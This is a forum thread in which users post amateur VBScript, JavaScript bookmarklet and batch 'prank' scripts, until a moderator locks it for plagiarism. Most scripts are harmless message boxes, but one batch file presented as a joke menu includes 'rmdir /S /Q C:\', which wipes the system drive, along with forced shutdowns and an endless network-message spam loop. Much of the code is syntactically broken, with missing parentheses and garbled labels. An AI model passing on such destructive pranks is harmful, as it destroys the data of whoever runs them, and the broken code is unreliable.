Forums → Programming Forum → VBScripts and/or JavaScripts... Paste examples here
30 | 7723 |
I've been screwin' around with both of these and I've come up with a few...
If you want to see what mine do copy and paste into notepad and save as .vbs
1.Dim Counter
Counter = 0
While Counter < 10000
Counter = Counter + 1
msgbox Counter,0+18,"This will close when it reaches 10001"
Wend
(My personal fave)
2.Dim Input
Input = InputBox("Enter your name [Please capatilize]","Message From Yoda","Here, reply you should"
if Input = "" then MsgBox ("Type, can you not?" else MsgBox ("An idiot, is " & Input
3.Dim Input
Input = InputBox("Enter your name [Capatilize please]","Message From Yoda","Type your response here"
if Input = "" then MsgBox ("Please enter your name" else MsgBox (Input +" is a dork!"
4.Dim Input
Input = InputBox("Enter your name"
if Input = "" then MsgBox ("Please enter your name" else MsgBox (Input +" is your name, right?"
5.Do Until DefResp = vbNo
MyNum = Int (999 * Rnd + 1)
DefResp = MsgBox (MyNum & " Do you want another randomized number?", vbYesNo)
Loop
Dim Check, Counter
Check = True: Counter = 0
Do
Do While Counter < 20
Counter = Counter + 1
If Counter = 10 Then
Check = False
Exit Do
End If
Loop
Loop Until Check = False
6.Dim WshShell, BtnCode
Set WshShell = WScript.CreateObject("WScript.Shell"
BtnCode = WshShell.Popup("Do you feel alright?", 7, "Answer This Question:", 4 + 32)
Select Case BtnCode
case 6 WScript.Echo "Glad to hear you feel alright."
case 7 WScript.Echo "Hope you're feeling better soon."
case -1 WScript.Echo "Is there anybody out there?"
End Select
7.Dim MyValue, Response
Randomize
Do Until Response = vbNo
MyValue = Int((6 * Rnd) + 1)
MsgBox MyValue
Response = MsgBox ("Roll again? ", vbYesNo)
Loop
You can also make these go on and on by adding Do and Loop...
If you accidentlly open these right-click on your bar that shows time and pick [i]Task Manager
Such as...
Do
Dim Input
Input = InputBox("Enter your name [Please capatilize]","Message From Yoda","Here, reply you should"
if Input = "" then MsgBox ("Type, can you not?" else MsgBox ("An idiot, is " & Input
Loop
You're Welcome...
Qwerty001
- 30 Replies
Oh, sorry just post the codes in the Address Bar...
Here they are again:
javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName("img" DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.tan(R*x1+i*x2+x3)*x4+x5)+"x"; DIS.top=(Math.sin(R*y1+i*y2+y3)*y4+y5)+"x"}R++}setInterval('A()',5); void(0);
and
javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24;x4=300;y4=200;x5=300; y5=200; DI=document.images; DIL=DI.length;function A(){for(i=0;i-DIL; i++){DIS=DI[ i ].style;DIS.position='absolute';DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5;DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterval('A()',5);void(0);
Function Main
Dim objNetwork
Dim strCurrentUserName, strCurrentDomainName, strFullUserName
Dim strComputerName
Set objNetwork = WScript.CreateObject("WScript.Network"
strCurrentUserName = objNetwork.UserName
strCurrentDomainName = objNetwork.UserDomain
strComputerName = objNetwork.ComputerName
strFullUserName = strCurrentDomainName & "\\\\" & strCurrentUserName
WScript.Echo "Current logged in user: " & strFullUserName & " on " & strComputerName & VbCrLf
End Function
Main
WScript.Quit(0)
Here's a VBS file that tells who you are logged on as and on what computer...
Very nice. What version or language of VB is this all written in?
It definitely does not look like VB.Net.
VB.net is pretty much the same thing, except that you have more controls such as Buttons, Forms, Labels. It's more display oriented.
The only syntax difference I have noticed so far is "wend" is just ordinary "end", which I thought was a typo on your part, but then I saw it elsewhere as well.
Anyway, thanks for the link! I didn't realized that I automatically had VBS installed on my computer. I thought it was another language such as True BASIC.
What would you like me to do in VB.Net? Name anything, and I'll try it out.
Here's a special VBS to change a user's password:
dim dom
dim DomObj
dim flagset
dim usr
dim UsrObj
do
usr = inputbox("Please enter the user account name to change password.", "Input"
loop until usr <> ""
do
dom = inputbox("Please enter the domain for this account.", "Input"
loop until dom <> ""
Set UsrObj = GetObject("WinNT://" & dom & "/" & usr & ",user"
pw1 = inputbox("Please enter a password for the account", "Input"
pw2 = inputbox("Please enter the password again for confirmation", "Input"
do while pw1 <> pw2
pw1 = inputbox("The entered password did not match both times." & vbCrLf & vbCrLf & "Please enter a password for the account", "Input"
pw2 = inputbox("Please enter the password again for confirmation", "Input"
loop
Call UsrObj.SetPassword(pw1)
UsrObj.Put "PasswordExpired", 1
UsrObj.SetInfo
wscript.echo "Password changed. User will be forced to change their password at next logon."
WARNING: THIS IS NOT A JOKE!
BE CAREFUL WITH THIS BATCH FILE!
NEVER PICK 3!
I AM IN NO WAY RESPONSIBLE FOR YOUR CHOICE IN THIS BATCH FILE!
Here it is :
@echo off
title The end of the world
cd C:\\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. Deal with it or just x out now. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. die this way (wimp)
echo 2. die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. die this way (you're boring)
echo 5. easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two
if %input%==3 goto three
if %input%==4 goto four
if %input%==5 goto five
goto menu
ne
shutdown -s -c there are three ways to stop me!
goto end
:two
shutdown -r
goto end
:three
echo your computer is dead....
pause
rmdir /S /Q C:\\
goto end
:four
net send * you suck
goto four
:five
msg * you win! you get a cookie!
msg * go to www.legit.dk to see your prize!
pause
shutdown -f
:end
I have a friend instead of shutdown it says runaway
and for standby it is get arrested.
I'm back!
Dim objXL, strMessage
On Error Resume Next
Set objXL = GetObject(, "Excel.Application"
If Not TypeName(objXL) = "Empty" Then
strMessage = "Excel Running."
Else
strMessage = "Excel Not Running."
End If
MsgBox strMessage, vbInformation, "Excel Status"
if strMessage = "Excel Running." then objXL.Visible = true
This makes excel close... I dunno I was bored
I sense Plagiarism..
Qwerty, you got that killer batch screws the computer from this:
http://www.prank.org/pranks/compilation-of-scripts-or-batch-files-add-some-more-vt44119.html
These are all plagiarized scripts. Any more posting of plagiarized material will result in instant 3 day.
Thread is locked!